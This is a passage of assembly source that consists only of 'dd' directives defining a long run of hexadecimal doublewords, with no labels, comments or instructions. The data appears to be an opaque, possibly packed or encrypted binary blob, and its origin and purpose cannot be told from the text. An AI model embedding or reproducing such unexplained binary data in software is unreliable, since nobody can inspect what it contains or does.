57C42010h, 0E8F216FCh, 18B8D000h dd 0FC80CAB2h, 6B10388h, 0FBA85384h, 3A55F800h, 0F7736BFh dd 478A071Fh, 0E044665Fh, 0CFE7825Ch, 0CB6E990Ah, 0B2809454h dd 8E8737B6h, 0E8F9007Fh, 0C2ED6C4Fh, 8F0FC9E0h, 23BBE155h dd 8807DFFFh, 0AB2FA5h, 0DA7E56D3h, 8C6C4BCh, 76D18660h dd 0A141D1h, 0D7BAD5A5h, 0C3CABD3Dh, 5FC06E18h, 110271h dd 0A04E5BD4h, 8574D2FCh, 0BD236E01h, 26E3FAAAh, 24831880h dd 0F5E5FB08h, 51ECDA4Ah, 5340DE30h, 0C3E61A93h, 0BAA0E100h dd 0D54F6604h, 0F0900AE0h, 0BE48B825h, 0F7FEAE80h, 7C49276Bh dd 0AD020677h, 0A84DF056h, 6140480Dh, 44350716h, 0C5FA93E2h dd 0D1A440E8h, 0C4EA11BBh, 70302207h, 0ED51CA91h, 1FDC8AECh dd 760600E9h, 0A67D2AE0h, 0B40077AAh, 0F96A0230h, 5E4DD2h dd 0B87952B2h, 48700C3Eh, 6C99E4A0h, 0E06B5300h, 76D6CF19h dd 0B1806072h, 0BBB351Bh, 0D3A9400h, 0A95C122Bh, 2091C0E6h dd 0D28F15D8h, 541B5202h, 48B606F2h, 90FF031Ch, 0AD352414h dd 0EF4D002Fh, 0BD0CB98Ah, 33103A06h, 49E5E1h, 0CB23FDC5h dd 59E4632Eh, 0D050CCA9h, 9448F9ADh, 172F0090h, 0A6AB619h dd 6F6E18A9h, 0B8F32962h, 0F0182478h, 96B98711h, 680F071Ch dd 6069ACE8h, 14B35C1Ah, 0E5DBB400h, 0A7C25467h, 1C81C0E7h dd 1D19DF3h, 0E06A1D00h, 699C1F0h, 22C80397h, 6EF756C7h dd 88817FEAh, 0DC3F8374h, 0D61CFCB8h, 0DC2AA7C3h, 0A45F322Eh dd 56CA2704h, 9D808Ch, 493AE5B6h, 0AEAD3414h, 6C1F9B7Bh dd 0FE405F4Fh, 0F5E2FA7Fh, 7E66EE3Ch, 51BC12B3h, 0F84000DFh dd 0E6B0A7FEh, 0A33007FAh, 6B9CE0B5h, 0CC2D0774h, 801F5D67h dd 51201925h, 0EEB7F500h, 0F4F2F833h, 4BDF1336h, 6A982213h dd 0D0CC5A60h, 0EF9E770Ah, 0A007FA85h, 0CF640F3h, 3EC98C9h dd 35B8CB38h, 31987925h, 0A171E05Dh, 0DE0D7A03h, 0CEFA3316h dd 38976E1h, 905E4CFCh, 19EEA806h, 0F2FF16A0h, 0B1FAA7E6h dd 0A9AB5Ch, 5DBA14C1h, 0CB46EA3h, 8208C206h, 0B300F2A1h dd 0D7DA56E9h, 2868052Eh, 634D833h, 0D34D522h, 72A11D9h dd 4600884Ah, 0FA9116B6h, 98D21405h, 0E68202BAh, 60C9575Fh dd 0B29FDC87h, 444350E3h, 30EBE8B1h, 6A88A17Ch, 9D7205BAh dd 0E3806Dh, 76DCF5EFh, 349288DDh, 0CD0D9E00h, 0FC1E639h dd 0D1540982h, 0F091DD1Ch, 7DAAE836h, 44AB5E00h, 8FE1710Dh dd 0F51C0A2Ch, 134EF01h, 0C32CBE0h, 0EA58307Dh, 24164Dh dd 1E733364h, 0F6C827Bh, 0AD9C639Eh, 9DA0838Fh, 0F05E26CDh dd 482D1826h, 8743E406h, 3B6E0FEh, 9B09E627h, 690E4AA4h dd 0A0A7A1C9h, 1C707E11h, 0A909849h, 0F1D54053h, 5F286A0h dd 3C0E31BDh, 2C6EE376h, 303D160h, 0A057B1ECh, 0EFD8E95Eh dd 2F6F7B8h, 5F289664h, 3E01D54Fh, 70B13A6Dh, 2F0EF578h dd 0AA19551Ah, 86017C06h, 0D60F4CB2h, 0E7A0C0C2h, 4BB60581h dd 8CAD3Bh, 8ACA75D0h, 0CC910A40h, 0D8FC8900h, 0A1BD9F9h dd 4E139457h, 0F64F85F8h, 96F7800Bh, 0ADEC3E21h, 8233AA07h dd 0C401AC8Ah, 0A1C58332h, 7848848h, 0DE2FEDD9h, 0F96030B0h dd 0A3008AF3h, 3718E1C0h, 4BA0DCCh, 8CF359Eh, 73E8275h dd 8C028464h, 1AD5273Bh, 0A7E0DDDCh, 11480366h, 0E0D41148h dd 316F081Bh, 0A97F98A8h, 72A32600h, 7EFFA076h, 0E8300C2h dd 0B1E789C6h, 0D57CAEACh, 80FCA74Ch, 0D446B642h, 216500B0h dd 236F3B17h, 0CBE81C76h, 0E1B85355h, 1B71BC5Fh, 12D4566Eh dd 2005F510h, 480FDF4h, 0DABD6B00h, 9FC413B0h, 0DC6906CCh dd 41EFA703h, 8C85B503h, 82EB0A3Ch, 5F888007h, 701CC015h dd 29E16F33h, 0A8A1C341h, 7A1183ECh, 0E02E81C6h, 120F3FB3h dd 20DD62AEh, 0C69F2564h, 3532D700h, 2B9BB9C5h, 78D3003Eh dd 77E8BDDh, 39000298h, 741BD811h, 2C620Fh, 0F0F60612h dd 9FEA735h, 2BE16601h, 13962556h, 5F031032h, 869ACAAFh dd 1C83F29Bh, 0A1F081A8h, 1D0E74B9h, 56D54021h, 176E12D7h dd 2BE4287h, 6BDA4614h, 17D5C048h, 1BFA1101h, 19ACAF23h dd 0B015B3F0h, 7AEE0ECDh, 606C2B9h, 0E600797Bh, 775F790Dh dd 1E97ECCCh, 711450h, 3411858Fh, 0B83854AAh, 370B81CFh dd 58C46EABh, 12F5D850h, 10B540A8h, 0FC9CA23Dh, 80C4BB3Fh dd 0BED98B23h, 1CB22A76h, 35372F8h, 67981EC3h, 93E88CDCh dd 8184A900h, 70E18CCDh, 94770009h, 0F2DBF5FCh, 4E005255h dd 867AB98Bh, 90303DD0h, 2533F070h, 4103BAFh, 5E00884Ah dd 100C1742h, 317E5AF8h, 19A14F75h, 97E448E4h, 0EF0DAD00h dd 81442E86h, 0EE23074Eh, 8043E57Ch, 1C7E4B2Dh, 0F6015505h dd 0A8CD356Eh, 10DE2052h, 3230A19Dh, 6614208Dh, 0E3F0B72Dh dd 0D071BA3Ch, 0B1001D9Bh, 0E456348Eh, 4C6F164Dh, 419F44B3h dd 51EFA0B8h, 1DE823D8h, 4E414111h, 7AF8E6C5h, 1713D6C4h dd 60DC764h, 4182DDFBh, 2E9C2A00h, 0AECB8E62h, 0BD95013Bh dd 8B7BA744h, 3747212h dd 0A2215F57h, 0E1A90033h, 7F02E961h, 0EC00C1F9h, 9087011Ch dd 26DBA038h, 7A84D78h, 38752DE9h, 1135D080h, 1A1AC19h dd 52997FE0h, 310E090Fh, 8ECC114h, 9C748881h, 2A038F7Ch dd 0FCD49835h, 179C0E5h, 0F3A83760h, 7A07D031h, 5CEA9532h dd 74219A25h, 0F4AA0006h, 6EB5C29Ch, 0CB02331Dh, 0F3B77B01h dd 9450A2EEh, 0F2AAC834h, 22F898F5h, 507B903h, 0E5BF8AEEh dd 7B6F2501h, 801C3BE8h, 0DF00FB19h, 0E9CEA7D5h, 0B23C83h dd 0DEF3C356h, 0C168F484h, 0E5D44013h, 6D83D430h, 0A40958C4h dd 4E04A102h, 6C6851A8h, 0AF00520Ch, 2597E0Fh, 0F185626h dd 4A61D3B1h, 452D4BC0h, 0B400EDD7h, 0F76C1AA0h, 0AACF42Ah dd 7CDD3B11h, 40479CE4h, 0B4516628h, 95001008h, 3E650573h dd 0A8B26E83h, 0FBCDCh, 0DB38F3D8h, 0AC2D1555h, 1D801CB1h dd 0F2906BC5h, 1BE30041h, 0B23B8DA8h, 1F01A491h, 65589DD4h dd 4428B636h, 0C8C6E980h, 1352ADDCh, 92F400DCh, 31E50D1h dd 9BC400EEh, 2ABD0712h, 94135DEFh, 0D820E443h, 1F76E88Fh dd 34B1FBh, 0D94EBA35h, 1C0C37ECh, 288E45A5h, 73FA0074h dd 89653CFh, 8F2C14A3h, 2B028D29h, 64DD325Eh, 9D0E1CF4h dd 9C50C030h, 526F6167h, 90543300h, 0CA6C65D4h, 304802ACh dd 0D6A480E2h, 0E887F8A0h, 990E1A86h, 21C20F84h, 0C6D50A7Dh dd 1C022866h, 0FED00166h, 0E7F61048h, 35A930E3h, 4CD39h dd 0F97E2A28h, 0C668BF8h, 0F2A8C2BCh, 1700BE41h, 1A94395Fh dd 38F8CAC1h, 0F501C83Dh, 134BD036h, 84324Dh, 7B040D3Bh dd 6F62Ch, 3C029003h, 0D2777F1Ah, 0BC356C00h, 6B3BAD29h dd 809860AFh, 7CE2FCC3h, 0FE209600h, 3A53A8E0h, 0B4B706F3h dd 89F59D9Eh, 0B000BA7Bh, 3D28DD25h, 206576Dh, 58FA97FCh dd 80C49DDCh, 34CDA130h, 308E9h, 0EC25670Fh, 58D4F7F1h dd 0F8065E29h, 954C9E00h, 0A4DD7462h, 3A6500ECh, 0A0F5D680h dd 0A850548Ch, 1707FF40h, 0D163686Eh, 3477BAF0h, 96C40B5Eh dd 0FC81F2CCh, 1030DDEAh, 17C0CFh, 804242Eh, 9ED91149h dd 7519D100h, 35303B41h, 40DE4AD4h, 0C25B9344h, 0BD099AD8h dd 55F82A20h, 0EDE7F201h, 0CD043081h, 0A071C78h, 34F5F9ACh dd 4290A29h, 0BBF32D81h, 0D42853D6h, 9AA94B80h, 4F003F94h dd 6E65595Bh, 1A298AAh, 2A165171h, 4C1360EBh, 9F003AE0h dd 6ED197B7h, 178E2Dh, 32EDC1BEh, 9F9CE57h, 0F3F680C0h dd 65331A1Fh, 0C0F11042h, 5853C3F4h, 317097E8h, 8F08F17h dd 5C5D5C21h, 6344A640h, 22D90010h, 0F8B30BA9h, 0C73FB96Bh dd 131817F9h, 2DA1CC20h, 4D2E0BB7h, 0E403011Fh, 62F9C66Fh dd 0DD18C15Ch, 0E0D848C4h, 4AA31200h, 571D32CDh, 40084ECCh dd 2210D718h, 9F09F4D1h, 83DB5Bh, 405168ECh, 40DD4AFDh dd 0F472DE98h, 3F0CA48Ah, 417C1307h, 0D2220050h, 0DEC471E1h dd 5A1FBE67h, 2142B8EFh, 0AD56687Ah, 0F854389Ch, 20801FC0h dd 0BC768Dh, 77A8047Fh, 0CAB1FF76h, 3B26C24Ch, 93E4CCF5h dd 3AB5E800h, 0B880E33Eh, 0BC49C0FCh, 0B4A79CB7h, 0AAAEE1Fh dd 0C1697A00h, 10FE06Bh, 0A0791A17h, 850C10DEh, 632F108h dd 533D5C00h, 58ABBEFCh, 28CE38ACh, 17CCFA00h, 421ED5FEh dd 18E4D373h, 5AE68460h, 0E4CA1F50h, 823700D8h, 0D1F45F8Eh dd 0FA81F4C0h, 14AAF93Bh, 548D386Eh, 0D2E8E100h, 0B601F287h dd 0EF408896h, 16AC1C3Dh, 8105E96Ch, 299D47D0h, 0AE0C008Ch dd 0B95418E1h, 3B77D72h, 0F5478680h, 49014C03h, 0C6B07535h dd 0C0EE5281h, 89C864h, 0CB4402A6h, 0E3FA334Eh, 3130C1C0h dd 0AB7FF6h, 3924018h, 9D66EAB4h, 0E57EEB07h, 0FFB6B86h dd 3B5F036Fh, 0C61900ECh, 21958875h, 0FC002C03h, 77E267C0h dd 7687FA1Bh, 0A7040085h, 0F5FB4AA0h, 39C07898h, 3BA5312Ah dd 8B11C082h, 5C43BF16h, 92586400h, 0A5059D53h, 276D1EDCh dd 71700185h, 0C20A284Bh, 4C932540h, 1B8F4800h, 77A5734Eh dd 1D87046Ch, 0C07D9B5Bh, 1E0FCF72h, 7960E963h, 78F2CBE0h dd 204160C0h, 0ED9D4B21h, 0C822D3Ch, 8265A1Dh, 29E90357h dd 8464F634h, 0E119A100h, 0A21E5A05h, 28EE05C1h, 203A6034h dd 44BDE90h, 10AB9005h, 6C0167F6h, 46DF6B23h, 31F5FCE8h dd 0A4198769h, 549980E8h, 0C2513E7Ah, 19E930F8h, 4E2124E0h dd 601ACC3Fh, 73642530h, 0A91000BFh, 0E472DBC6h, 10A0C80Ah dd 75001EE8h, 845E35F4h, 94031Bh, 936EF01Ch, 4297F62Eh dd 0DC050A03h, 0F6F3826Fh, 7C780038h, 8F53C00Ch, 0AE0062BEh dd 83F477FFh, 3952D246h, 2A0078FBh, 5E5B4B4Dh, 60A23BAFh dd 0F4552680h, 0C100B415h, 11B21D5Ch, 6082B339h, 4FD361F5h dd 1B00590Eh, 222CBF37h, 3D453C15h, 0E10A27DCh, 85C8F066h dd 3A74365h, 99961DB7h, 5F5D03B0h, 0E7F435EAh, 0E003C92h dd 0AFAD6F63h, 1D360ACFh, 46B40810h, 99883BB0h, 4BB5481Eh dd 0A5352CC0h, 509DBDh, 0D217469Eh, 6787DD3Ch, 451B860h dd 0AEF9228h, 0EDA341B1h, 564A83C8h, 87E80BDAh, 0E058349Dh dd 618F306Bh, 570BB0Eh, 3E41B68Bh, 0F9880F4h, 5503D874h dd 0FDEB03BCh, 9541445h, 5E028238h, 6E884114h, 734C3C80h dd 0BB018A50h, 0DA6D3C85h, 6180812Dh, 0C2AE4A22h, 1007DB91h dd 647404D7h, 1ECA6F3h, 5B7245A1h, 0CC34E74Eh, 0E058D7C6h dd 996A0060h, 0A0EA35E5h, 0BF590349h, 0E12B82FDh, 0B4A0F3EAh dd 4D306096h, 8DA67316h, 2C02F00Ah, 0B5C69304h, 71852890h dd 883863FDh, 78E83CDDh, 0F472A5F3h, 0D53F541Eh, 0A0CF1E8Eh dd 0DFCE6AB1h, 41940F58h, 2D873D0Bh, 40A1F04Fh, 2A70F193h dd 0E41F4C00h, 0FC1AE05Bh, 63B3F85Eh, 0AB508FBh, 0E1A5BA88h dd 0D5A89C3h, 862AF0CDh, 0EA530076h, 5D34DBAEh, 0A3320A6Ch dd 989129E3h, 506698D0h, 131ACFDh, 1A924151h, 710D5F94h dd 0E0318EB5h, 0E406D23Dh, 52E9C46Ch, 3807EC2Dh, 0D1950708h dd 0E07C7DBCh, 0E400D22Eh, 9AECB7B1h, 28481E04h, 0E40A606h dd 0C958EF7h, 97246620h, 0E454C7FCh, 1B03F5B4h, 0A85DAC75h dd 0A49CE0C0h, 2510A8CDh, 0AD1D00E6h, 31488292h, 89C38604h dd 0C0C70F14h, 1D010572h, 6C09564Fh, 0F5FD04F5h, 86C08867h dd 28ED6E24h, 7A11ACA4h, 31ACF90Fh, 66AD03E0h, 54005358h dd 6AFE5D5Ah, 7198CE4h, 0B8758F9Bh, 4F25A293h, 1E636C60h dd 0C50A900h, 0A35E9DA7h, 0C80B1874h, 91959C2h, 0BFADD001h dd 9FC0BDF7h, 1A03CC8h, 77FCDAB1h, 0C009C640h, 921F4962h dd 1DC1935Fh, 0E7A63075h, 0EC59850h, 0F080034h, 235D3A15h dd 37133CD3h, 1842E683h, 805E2613h, 0D00F6AF4h, 8C84050Ah dd 80D2A7DDh, 536789FEh, 372FC0F7h, 64520D90h, 698613E0h dd 0DC73C21h, 9B92B980h, 0BAB49C06h, 22C20504h, 80C88430h dd 0AFE603h, 0FC68DF3Dh, 4F20C5FFh, 0A22ABF00h, 0A919D380h dd 7507708Dh, 8F1A015Dh, 1333B7DAh, 0DE113F3Ch, 4F2C75C0h dd 0F4034A6h, 3B236CAAh, 0FA1A3274h, 0A80719CBh, 150048E9h dd 0E3E0E7DEh, 2180E7A5h, 8C6D9777h, 7001230h, 64C25C57h dd 58E350h, 60A3E26h, 0BC651C37h, 86F660B2h, 0C0461D00h dd 67E0B41Ah, 0C61C4E7h, 0FCEC881Eh, 6F0D5C00h, 88815AA5h dd 0E19D266h, 31409944h, 36484A4Dh, 0A2925D14h, 0F9C7071Ch dd 6961B781h, 0BFC883B6h, 0F0B35023h, 2AB8E0A9h, 0ECB4C3C7h dd 681100EDh, 0B32FD286h dd 4C00250Ch, 169DD1EEh, 4FAE7C8h, 32994E3Ah, 3640C033h dd 0A8C88705h, 7B80BAF6h, 0F9255284h, 1498329Bh, 65439900h dd 6CB09370h, 7E60ECCEh, 1BB84C59h, 0A6556203h, 413C7FBBh dd 0DFF50015h, 0DB8E3C25h, 51AA000Ch, 103BB82Eh, 0FCA8EF83h dd 0B002567h, 5D408859h, 0B849DCE8h, 3A7F73E8h, 4A4D6C0h dd 0D0DB40B4h, 28E87C66h, 0CC9D4800h, 14A3331h, 0AC575059h dd 0EE363B45h, 0BEEBACh, 0F1CA7E1Dh, 2312F35Bh, 0E001E337h dd 0F4828D9Ch, 1B6D8180h, 0DD4BEE93h, 0DA33B100h, 5EA6E801h dd 74E61359h, 6DA405AEh, 0A3F000F7h, 79038823h, 2500C4B0h dd 6A5AFF93h, 98A587BDh, 2830F623h, 3EACBF98h, 85873833h dd 41F7B103h, 5039E12Ah, 0B33D7EF8h, 89E98330h, 3674AEh dd 204EE308h, 0BA947B38h, 18686B00h, 0AAAF60B9h, 8BAB1E1Dh dd 509FCA88h, 546A0090h, 39E0FF6Fh, 0BC2C6891h, 0CC67AC07h dd 0BCC23014h, 62091004h, 0CA884C3Fh, 9B732020h, 8FC00138h dd 0F6266B70h, 1432A1h, 3654D0A4h, 0A09D5D42h, 30397ACh dd 0E4CD6B39h, 4BD03DB4h, 55038C36h, 0ED44FAA7h, 0E5F9B872h dd 0E0EE0DCCh, 0F399E602h, 373878F8h, 5C88C564h, 0A1E5DC82h dd 729AF580h, 85A1F451h, 9670A19Dh, 9F390069h, 0AD0615A9h dd 92441A00h, 998E4FECh, 0A2AB2E7Ah, 0D41D40E0h, 1100DF3Ah dd 6BB82B8Dh, 53D4A2Ah, 8718FE54h, 5C7C036Dh, 713BE93Ah dd 0BED500FCh, 1517E7C5h, 884500D6h, 0DDAA4B65h, 922CE2B6h dd 0CD4118C6h, 48D8B493h, 0D8CB0BEFh, 7801B374h, 60C8AA49h dd 0DC00A67Ch, 52479B36h, 2D12C4h, 5A484D09h, 0B07FF5F2h dd 3D2F6A00h, 967C2B03h, 0AC849928h, 4EB4005Ch, 4988C1AAh dd 1056D300h, 5E0C2FA2h, 3D3400D1h, 58619E93h, 0DF4FAB8h dd 84141D4Ch, 0D080600Bh, 765F51Ah, 7A1FDC35h, 3B5FC1BAh dd 72F183EBh, 84AFB6h, 51EE6A7Eh, 0A28F8242h, 0F6962C12h dd 483A880h, 935A007Ah, 3A9FD852h, 500E088h, 0E1531B24h dd 1C7C674h, 42ED4B4Ch, 11833B64h, 0D20C0F8h, 72FD0B0Ah dd 4800964Fh, 0F5DA7F57h, 29C0E190h, 8C96D23h, 0E0604C88h dd 87CE1281h, 0FE80176Bh, 0E00BBB07h, 0E6C50526h, 823CFC6Ah dd 0CC405E94h, 4D58652Ah, 0C09E0612h, 0B039EA82h, 0B7670731h dd 7E6C3850h, 85D09052h, 0AD001357h, 891EE6EDh, 0F4942A92h dd 10480173h, 82B7D902h, 0C84980E0h, 85F5EF21h, 0FE6700F1h dd 0E76A35C3h, 97D0CBBh, 841DA9C0h, 5DA8605h, 0B7614CFFh dd 5EA00903h, 57430481h, 505ADE29h, 1AE2E401h, 565AA205h dd 50A1AC44h, 2C67F8h, 0AF243FF3h, 54AC8409h, 8146443Ch dd 31379862h, 0B44872F6h, 8E0A5C19h, 4C1FF002h, 9C44A593h dd 0FE0DA700h, 0B71AD8D1h, 3972004Fh, 1347466Eh, 0B57AF3A8h dd 498E3A30h, 168CA95h, 0B2E78532h, 30C7D274h, 2A0007BDh dd 98235873h, 98D08257h, 0A41C5434h, 9B300A8h, 6A55DA37h dd 570E8EFDh, 800D566Ch, 42994D5Ah, 50E14483h, 0F2006071h dd 8DB6F9F6h, 0B1A3635Bh, 0D72303B8h, 1988514Fh, 620078C2h dd 420CA6D4h, 261A9A68h, 3C0346Dh, 3E7E99ABh, 2A5600BFh dd 0FD48534Eh, 54C21224h, 3ACC88h, 0CAD6CED8h, 0F5C988A8h dd 0A5844B16h, 40775022h, 2C19BBh, 5A65487Bh, 0AC45E770h dd 0A7E6C82Eh, 25C1C61Ch, 2DA942ABh, 7D610880h, 826E449h dd 0EE3FE9F4h, 0DDFE80C8h, 8769B02Dh, 952A0EE7h, 0C323C9E0h dd 0B9A8E6A0h, 4200DFFBh, 0AB2498B7h, 32B1E2Eh, 0E02635CEh dd 0C0F70DE1h, 34D4CD62h, 0B1B67C02h, 8090D81Ah, 66195D40h dd 4FD200F4h, 0E2E0E9E7h, 0B3002DFFh, 0DB550A93h, 5CD597h dd 702AF7E1h, 39A0E99Fh, 42706163h, 78B59B88h, 23CB0CC0h dd 2AD193B7h, 0A0CD2600h, 71CCE736h, 2E7C0048h, 88FA38ECh dd 400A13Fh, 0EF06DFC8h, 6CC52C02h, 0C459ACA0h, 527EC20Eh dd 2872E72Bh, 0FDDEFF00h, 10320338h, 0A9A48BEDh, 0EA2A7900h dd 73D4EF51h, 0A03D0C0Fh, 0FF49992Eh, 0B12D3218h, 0DE0DB9B1h dd 9C5C14F9h, 3B7CA8C1h, 2971CC81h, 0D71B6C00h, 0C55E0E2Ah dd 0BB1601CAh, 0D33F0C79h, 98C44072h, 68D09DAAh, 0C8030358h dd 0A0BA4E40h, 0D7D1305h, 948A811Eh, 0B4B3F821h, 785A5F07h dd 0C18FE720h, 2EA94C0Ah, 0D3F19180h, 0D9A8906Bh, 0A1D41B00h dd 5B580853h, 0D82506CBh, 0C9AF42E8h, 635E5901h, 6F1C57Bh dd 4C5DC8ECh, 1C70BEC9h, 3D1E3AAEh, 8028433Ah, 8B880898h dd 8483A3B2h, 9793A1C3h, 135F9A60h, 0A43200B8h, 0FDDACC95h dd 0C90F31A9h, 0C4B9535Ch, 348252F7h, 357540E5h, 912D03FAh dd 0F020FE02h, 0BEA1081Eh, 0E538FF01h, 0CC48B38Bh, 0C43152A0h dd 0EE9C0128h, 0CA67152Dh, 7C007CBEh, 0C7BD5560h, 8A04CD5Ah dd 0A9AC22F6h, 812488h, 71E99ADAh, 56B357CBh, 8044BA39h dd 0A0A1DB35h, 30C07F1Ah, 0BB3139A9h, 0B200A7DFh, 0B7DA2491h dd 7E7DD53h, 2CF05915h, 0D0440078h, 236632FCh, 48E8ABA9h dd 8B2240EBh, 5130B630h, 7E8CF2Eh, 3FDFE80h, 8BBBF162h dd 2D298097h, 4E6AA59Eh, 0E9CE00D7h, 149660F7h, 1170EDEFh dd 5262930Fh, 0C831788Bh, 0DC6C00F2h, 77720F3Fh, 0AE149EF9h dd 76900D14h, 0CB214C14h, 12E33AB8h, 5854288Bh, 5A9F0000h dd 9261DD31h, 0C9360E86h, 0AC0F16Eh, 0D53EEA4h, 8AED4604h dd 988023CAh, 1C17D5CFh, 4215BB56h, 0DFC9A00Ah, 391C5440h dd 0C372D3FCh, 0FAF4B100h, 892CE705h, 0E8B6488Bh, 0F9F72D80h dd 35245E6Bh, 1F392C3Dh, 7CD5F2F8h, 0F716029Ch, 42EFC19Ah dd 1FFC9034h, 0C970CDh, 7F7081F3h, 3F1D63D0h, 18D2C200h dd 0F1697CFAh, 0A2433778h, 132C2049h, 75047DBCh, 0B8FAD6Ch dd 27696E80h, 25C91E3Dh, 4CDB07D4h, 0B8DEC00Eh, 5303FAE1h dd 0CACE4F39h, 922C3B9h, 0B843C481h, 6757EC20h, 9F00F2ADh dd 6DF30C32h, 375BDACh, 634C2A9Eh, 26E959BFh, 9C89A043h dd 7365AE1Ch, 6B1BFB01h, 0AF003D25h, 82EE2CF3h, 0A542C518h dd 118731h, 947D4B68h, 25888D5h, 0F5EEE4A1h, 187420B6h dd 0B9BF4606h, 0A12614h, 0C686D831h, 0F55B665Ah, 87CC5048h dd 1A20A8AFh, 3F24302h, 2BFB1246h, 0D4F28353h, 0FBEAE441h dd 0BD59A6D0h, 0C4A420F0h, 0EEC7F504h, 44C77460h, 32D8A5A0h dd 217D6E21h, 5440200Fh, 3CC802E2h, 4F63580Ch, 1DA179ACh dd 0C0186945h, 0D9E9648Bh, 79486A30h, 0D44900F8h, 21F822F3h dd 54A61D2Ch, 0A9E506E8h, 1400D195h, 57C639B7h, 6EE135h dd 2B6A8E8Ch, 0D058C269h, 2167AB00h, 0B9BDB812h, 13FC91E0h dd 0D714234Fh, 43EB318Fh, 2444EA8Eh, 0F513DF00h, 3A17EADEh dd 4EE0003Fh, 586BBC80h, 5A00E19Bh, 0DA4FDDD0h, 808A8B84h dd 0C3FDF942h, 52D081F3h, 7A03709Eh, 0A40F32FAh, 3D7381F1h dd 0E100FC33h, 22DC92B1h, 97079067h, 80C7AC29h, 404D606Fh dd 0FA54FF2h, 0F0EF10F1h, 0B38837C1h, 1EB981AAh, 454D86CCh dd 0F4A52024h, 0BE720FD0h, 0C080EFAAh, 63D48223h, 34389704h dd 0C4C4B848h, 12EE908Dh, 0C82B4487h, 0F2151084h, 0FB697C83h dd 0C5FFA83Eh, 0EC1B4C0Fh, 0E880F27Ah, 0A8B3176Bh, 0B11CFFFCh dd 8011198Eh, 0E6F488DBh, 40353043h, 1AFB4930h, 61AE5030h dd 29DD707h, 8972F91Fh, 4881B4AFh, 9162D3C9h, 3046C98h dd 80BB3DAEh, 60D64D1Ch, 0CA123F03h, 9BD2938Ah, 96290E65h dd 4B801E7Bh, 0B61457FCh dd 0D11CC899h, 0C675B80h, 8263B9h, 445EC094h, 0A9F1B552h dd 43AA9000h, 780FFFF6h, 3849486Bh, 704AB860h, 0A14450FAh dd 0F15B07DFh, 1FAB68h, 8BFBC947h, 0C5F67102h, 0A07B4D01h dd 532381C4h, 6D2A0E07h, 0D34F78E4h, 3A5611A0h, 1E0B77E1h dd 87C58669h, 0EC64D9A4h, 0A4E50Ah, 0E4CEF7EFh, 17005818h dd 0F85F71C8h, 52325D7Eh, 0C20CD034h, 1180DAA6h, 8ABA0116h dd 91C01C20h, 0B7BD00A5h, 0F0EC67BBh, 97FAA086h, 60581330h dd 30D4C74Fh, 18815B59h, 0CA01C8C4h, 5DDA3F2Ah, 0C9804450h dd 86BA8078h, 0E00AFD5h, 6C2B01Bh, 3A3E3616h, 7C80EA90h dd 5C11E7F8h, 0A018D6C8h, 0EE896325h, 4E02014Dh, 0B9F1A82Fh dd 124036EFh, 3C9080E9h, 1D42F3Eh, 4F91A46h, 82A0501Ch dd 193CA9E9h, 5CBC9EB0h, 0DC04861h, 22983139h, 0BAF11003h dd 0C837CC8Fh, 0E3EF11h, 11F6AFEh, 199F45DDh, 2870ED48h dd 0D61680F8h, 90302097h, 39E3C6h, 3152E945h, 7F4D0E05h dd 88CD88A8h, 1B7CAE04h, 0EBC0792Fh, 24490B45h, 8ED1DCh dd 10C50402h, 0A11D25F0h, 0A60FBDE8h, 423A9AEh, 156AA74h dd 0CA0AFB6Ch, 5297E8C2h, 0E70950E0h, 80564CDDh, 551886B4h dd 3528C0B7h, 39DF5BAh, 5B755104h, 28A42732h, 3C7001C3h dd 0E74F49CEh, 3241C812h, 30B32226h, 0B4B66C8Ah, 92B0874Fh dd 6B463310h, 0BC5F2843h, 25EFA084h, 24504CA7h, 98891380h dd 0C160EC14h, 85346CA2h, 8AD600A7h, 5591DEE8h, 1E0240B9h dd 6C8F04FEh, 915C431Ch, 0D040B1FCh, 0CAA252FAh, 63FC17E8h dd 0F2C09610h, 980E8D2Ah, 2057EFAh, 517233FDh, 55C800DCh dd 2684EA11h, 0F25B3200h, 663A8CBh, 0F9F83E51h, 16EC66A8h dd 20922DFh, 2715B9E4h, 99686848h, 3F8BCE17h, 0F8385C47h dd 755287B0h, 97C800ADh, 8B467FF0h, 6F04B24Ah, 90C4A399h dd 57E0C8h, 0AC64DDFCh, 0BA6AF103h, 3AA21401h, 6CDB8F5Dh dd 4875D060h, 0BD80748Bh, 0DE32C982h, 117C9200h, 2031D7F9h dd 0AFA52A89h, 0CCB80EF8h, 0AAEA6675h, 0D44E80CCh, 69BBBAE5h dd 0BC36170Fh, 0C29C2029h, 4DDA22h, 2AA964DCh, 9AEFCBC1h dd 82F9543Fh, 31765719h, 38D46C26h, 0BFBDC933h, 143DE0Bh dd 8BF1A480h, 28146A19h, 4C44C789h, 602538A8h, 34CBB958h dd 3514286Dh, 6E8E009Ch, 0ECF8111Ah, 24007217h, 9EF02A40h dd 2E0C5C98h, 40CCB289h, 0B412DE25h, 0EDC078DDh, 0BCB79E2Ah dd 0FE170068h, 8FC3F341h, 702DEADh, 962CCE94h, 0C44C4238h dd 0C4C90218h, 0B70AA61Dh, 583E7452h, 7AC6BE87h, 5FDE4102h dd 21898BCAh, 0C01C8FC2h, 59014396h, 2CFDF312h, 147080EDh dd 0E7DF0E25h, 18729D13h, 0B1A70A0h, 34B72818h, 1F8E9561h dd 3205B83h, 70F66A22h, 4087DFD1h, 6207C880h, 47E2AE18h dd 138C731h, 7A1CC1F4h, 0ED581511h, 2CC180AEh, 80C6534Dh dd 852F0F81h, 0F30713B9h, 31C3A097h, 502A51EBh, 4A0B98ADh dd 8445101Eh, 3C08243h, 7E36F970h, 0C55701A4h, 50D001A0h dd 6D3184A8h, 8AC07419h, 18E85104h, 0D8F98F2Bh, 4A6080E5h dd 0DEC541A1h, 340E0BD9h, 0FC8127ECh, 0EFE47292h, 48988085h dd 3224C39Dh, 0EDC41829h, 81448Ch, 0FC750FCAh, 0E4EECF3Bh dd 8E89031Ch, 69CE0E5Eh, 18B22A21h, 45D91680h, 0C0137Ah dd 4765DE5Bh, 0AE6DF84Bh, 58315F2Fh, 81CC91B4h, 3C96E019h dd 0C155EC32h, 17A2B209h, 0E594023Dh, 0DE7060EFh, 0B8C49442h dd 89500600h, 5D7A1E7Dh, 8606F7FEh, 0C78BA12Ch, 1314B0F9h dd 0BEA57001h, 0DE3D8403h, 2B40A046h, 0F604019Ah, 0C5872A12h dd 8E4C7057h, 4287F3Ah, 5B3E32DDh, 17E59080h, 11F8E80Ah dd 0FAAB08Bh, 0F809AE1Eh, 17F4FC69h, 309516B6h, 32F1E8D8h dd 0D70E0FECh, 0FD3F9D43h, 0E02A8C8Fh, 74EDF448h, 0BE4B04E6h dd 0C8431612h, 650087D4h, 